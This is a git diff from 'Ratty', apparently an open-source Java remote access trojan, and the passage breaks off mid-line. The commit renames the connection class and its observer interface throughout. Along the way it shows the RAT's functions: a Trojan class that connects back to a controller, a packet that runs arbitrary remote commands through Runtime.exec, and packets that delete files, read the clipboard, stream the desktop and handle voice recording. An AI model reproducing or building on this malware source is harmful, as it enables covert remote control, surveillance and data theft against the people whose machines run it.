diff --git a/Ratty/src/de/sogomn/rat/ActiveClient.java b/Ratty/src/de/sogomn/rat/ActiveConnection.java similarity index 85% rename from Ratty/src/de/sogomn/rat/ActiveClient.java rename to Ratty/src/de/sogomn/rat/ActiveConnection.java index cd7ae92..ff37a7f 100644 --- a/Ratty/src/de/sogomn/rat/ActiveClient.java +++ b/Ratty/src/de/sogomn/rat/ActiveConnection.java @@ -8,21 +8,21 @@ import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.PacketType; -public final class ActiveClient extends TCPConnection { +public final class ActiveConnection extends TCPConnection { private LinkedBlockingQueue packetQueue; private Thread sender, reader; - private IClientObserver observer; + private IConnectionObserver observer; - public ActiveClient(final String address, final int port) { + public ActiveConnection(final String address, final int port) { super(address, port); packetQueue = new LinkedBlockingQueue(); } - public ActiveClient(final Socket socket) { + public ActiveConnection(final Socket socket) { super(socket); packetQueue = new LinkedBlockingQueue(); @@ -87,7 +87,7 @@ public final class ActiveClient extends TCPConnection { } if (observer != null) { - observer.clientDisconnected(this); + observer.disconnected(this); } } @@ -131,7 +131,7 @@ public final class ActiveClient extends TCPConnection { packetQueue.remove(packet); } - public void setObserver(final IClientObserver observer) { + public void setObserver(final IConnectionObserver observer) { this.observer = observer; } diff --git a/Ratty/src/de/sogomn/rat/IClientObserver.java b/Ratty/src/de/sogomn/rat/IClientObserver.java deleted file mode 100644 index 9cbd692..0000000 --- a/Ratty/src/de/sogomn/rat/IClientObserver.java +++ /dev/null @@ -1,11 +0,0 @@ -package de.sogomn.rat; - -import de.sogomn.rat.packet.IPacket; - -public interface IClientObserver { - - void packetReceived(final ActiveClient client, final IPacket packet); - - void clientDisconnected(final ActiveClient client); - -} diff --git a/Ratty/src/de/sogomn/rat/IConnectionObserver.java b/Ratty/src/de/sogomn/rat/IConnectionObserver.java new file mode 100644 index 0000000..1d17ed0 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/IConnectionObserver.java @@ -0,0 +1,11 @@ +package de.sogomn.rat; + +import de.sogomn.rat.packet.IPacket; + +public interface IConnectionObserver { + + void packetReceived(final ActiveConnection connection, final IPacket packet); + + void disconnected(final ActiveConnection connection); + +} diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 8f30dba..1769f22 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -82,7 +82,7 @@ public final class Ratty { } public static void connectToHost(final String address, final int port) { - final ActiveClient newClient = new ActiveClient(address, port); + final ActiveConnection newClient = new ActiveConnection(address, port); final Trojan trojan = new Trojan(); if (!newClient.isOpen()) { diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index 0027caa..ff3c675 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -3,7 +3,7 @@ package de.sogomn.rat; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.VoicePacket; -public final class Trojan implements IClientObserver { +public final class Trojan implements IConnectionObserver { private VoiceRecorder voiceRecorder; private byte[] lastData; @@ -22,7 +22,7 @@ public final class Trojan implements IClientObserver { } @Override - public void packetReceived(final ActiveClient client, final IPacket packet) { + public void packetReceived(final ActiveConnection client, final IPacket packet) { if (packet instanceof VoicePacket) { final VoicePacket voice = (VoicePacket)packet; @@ -33,7 +33,7 @@ public final class Trojan implements IClientObserver { } @Override - public void clientDisconnected(final ActiveClient client) { + public void disconnected(final ActiveConnection client) { final String address = client.getAddress(); final int port = client.getPort(); diff --git a/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java b/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java index e030ee5..7d0ab2d 100644 --- a/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java @@ -1,6 +1,6 @@ package de.sogomn.rat.packet; -import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.ActiveConnection; public abstract class AbstractPingPongPacket implements IPacket { @@ -17,20 +17,20 @@ public abstract class AbstractPingPongPacket implements IPacket { this(REQUEST); } - protected abstract void sendRequest(final ActiveClient client); + protected abstract void sendRequest(final ActiveConnection client); - protected abstract void sendData(final ActiveClient client); + protected abstract void sendData(final ActiveConnection client); - protected abstract void receiveRequest(final ActiveClient client); + protected abstract void receiveRequest(final ActiveConnection client); - protected abstract void receiveData(final ActiveClient client); + protected abstract void receiveData(final ActiveConnection client); - protected abstract void executeRequest(final ActiveClient client); + protected abstract void executeRequest(final ActiveConnection client); - protected abstract void executeData(final ActiveClient client); + protected abstract void executeData(final ActiveConnection client); @Override - public final void send(final ActiveClient client) { + public final void send(final ActiveConnection client) { client.writeByte(type); if (type == REQUEST) { @@ -41,7 +41,7 @@ public abstract class AbstractPingPongPacket implements IPacket { } @Override - public final void receive(final ActiveClient client) { + public final void receive(final ActiveConnection client) { type = client.readByte(); if (type == REQUEST) { @@ -52,7 +52,7 @@ public abstract class AbstractPingPongPacket implements IPacket { } @Override - public final void execute(final ActiveClient client) { + public final void execute(final ActiveConnection client) { if (type == REQUEST) { executeRequest(client); } else if (type == DATA) { diff --git a/Ratty/src/de/sogomn/rat/packet/AudioPacket.java b/Ratty/src/de/sogomn/rat/packet/AudioPacket.java index 487098b..5a1f27f 100644 --- a/Ratty/src/de/sogomn/rat/packet/AudioPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/AudioPacket.java @@ -4,7 +4,7 @@ import java.io.File; import de.sogomn.engine.fx.Sound; import de.sogomn.engine.util.FileUtils; -import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.ActiveConnection; public final class AudioPacket implements IPacket { @@ -23,13 +23,13 @@ public final class AudioPacket implements IPacket { } @Override - public void send(final ActiveClient client) { + public void send(final ActiveConnection client) { client.writeInt(data.length); client.write(data); } @Override - public void receive(final ActiveClient client) { + public void receive(final ActiveConnection client) { final int length = client.readInt(); data = new byte[length]; @@ -38,7 +38,7 @@ public final class AudioPacket implements IPacket { } @Override - public void execute(final ActiveClient client) { + public void execute(final ActiveConnection client) { final Sound sound = Sound.loadSound(data); sound.play(); diff --git a/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java b/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java index 16faf42..a9bf241 100644 --- a/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java @@ -10,7 +10,7 @@ import java.io.IOException; import javax.swing.JDialog; import javax.swing.JOptionPane; -import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.ActiveConnection; public final class ClipboardPacket extends AbstractPingPongPacket { @@ -22,27 +22,27 @@ public final class ClipboardPacket extends AbstractPingPongPacket { } @Override - protected void sendRequest(final ActiveClient client) { + protected void sendRequest(final ActiveConnection client) { //... } @Override - protected void sendData(final ActiveClient client) { + protected void sendData(final ActiveConnection client) { client.writeUTF(clipboardContent); } @Override - protected void receiveRequest(final ActiveClient client) { + protected void receiveRequest(final ActiveConnection client) { //... } @Override - protected void receiveData(final ActiveClient client) { + protected void receiveData(final ActiveConnection client) { clipboardContent = client.readUTF(); } @Override - protected void executeRequest(final ActiveClient client) { + protected void executeRequest(final ActiveConnection client) { type = DATA; try { @@ -60,7 +60,7 @@ public final class ClipboardPacket extends AbstractPingPongPacket { } @Override - protected void executeData(final ActiveClient client) { + protected void executeData(final ActiveConnection client) { final JOptionPane optionPane = new JOptionPane(clipboardContent); final JDialog dialog = optionPane.createDialog(null); diff --git a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java index 54c710c..504934c 100644 --- a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java @@ -2,7 +2,7 @@ package de.sogomn.rat.packet; import javax.swing.JOptionPane; -import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.ActiveConnection; public final class CommandPacket implements IPacket { @@ -17,15 +17,15 @@ public final class CommandPacket implements IPacket { } @Override - public void send(final ActiveClient client) { + public void send(final ActiveConnection client) { client.writeUTF(command); } - public void receive(final ActiveClient client) { + public void receive(final ActiveConnection client) { command = client.readUTF(); } - public void execute(final ActiveClient client) { + public void execute(final ActiveConnection client) { try { Runtime.getRuntime().exec(command); } catch (final Exception ex) { diff --git a/Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java b/Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java index 7fe386d..30da252 100644 --- a/Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java @@ -3,7 +3,7 @@ package de.sogomn.rat.packet; import java.io.File; import de.sogomn.engine.util.FileUtils; -import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.ActiveConnection; public final class CreateFolderPacket implements IPacket { @@ -19,19 +19,19 @@ public final class CreateFolderPacket implements IPacket { } @Override - public void send(final ActiveClient client) { + public void send(final ActiveConnection client) { client.writeUTF(path); client.writeUTF(name); } @Override - public void receive(final ActiveClient client) { + public void receive(final ActiveConnection client) { path = client.readUTF(); name = client.readUTF(); } @Override - public void execute(final ActiveClient client) { + public void execute(final ActiveConnection client) { final File folder = new File(path); String fullPath = null; diff --git a/Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java b/Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java index 3cb1777..108c76e 100644 --- a/Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java @@ -2,7 +2,7 @@ package de.sogomn.rat.packet; import java.io.File; -import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.ActiveConnection; public final class DeleteFilePacket implements IPacket { @@ -17,17 +17,17 @@ public final class DeleteFilePacket implements IPacket { } @Override - public void send(final ActiveClient client) { + public void send(final ActiveConnection client) { client.writeUTF(path); } @Override - public void receive(final ActiveClient client) { + public void receive(final ActiveConnection client) { path = client.readUTF(); } @Override - public void execute(final ActiveClient client) { + public void execute(final ActiveConnection client) { final File file = new File(path); file.delete(); diff --git a/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java b/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java index 0fec0c4..5ca121a 100644 --- a/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java @@ -5,7 +5,7 @@ import java.util.ArrayList; import java.util.stream.Stream; import de.sogomn.engine.util.ImageUtils; -import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.util.FrameEncoder; import de.sogomn.rat.util.FrameEncoder.IFrame; @@ -34,12 +34,12 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket { } @Override - protected void sendRequest(final ActiveClient client) { + protected void sendRequest(final ActiveConnection client) { client.writeByte(deleteLastScreenshot); } @Override - protected void sendData(final ActiveClient client) { + protected void sendData(final ActiveConnection client) { Stream.of(frames).forEach(frame -> { final byte[] data = ImageUtils.toByteArray(frame.image, 0); @@ -56,12 +56,12 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket { } @Override - protected void receiveRequest(final ActiveClient client) { + protected void receiveRequest(final ActiveConnection client) { deleteLastScreenshot = client.readByte(); } @Override - protected void receiveData(final ActiveClient client) { + protected void receiveData(final ActiveConnection client) { final ArrayList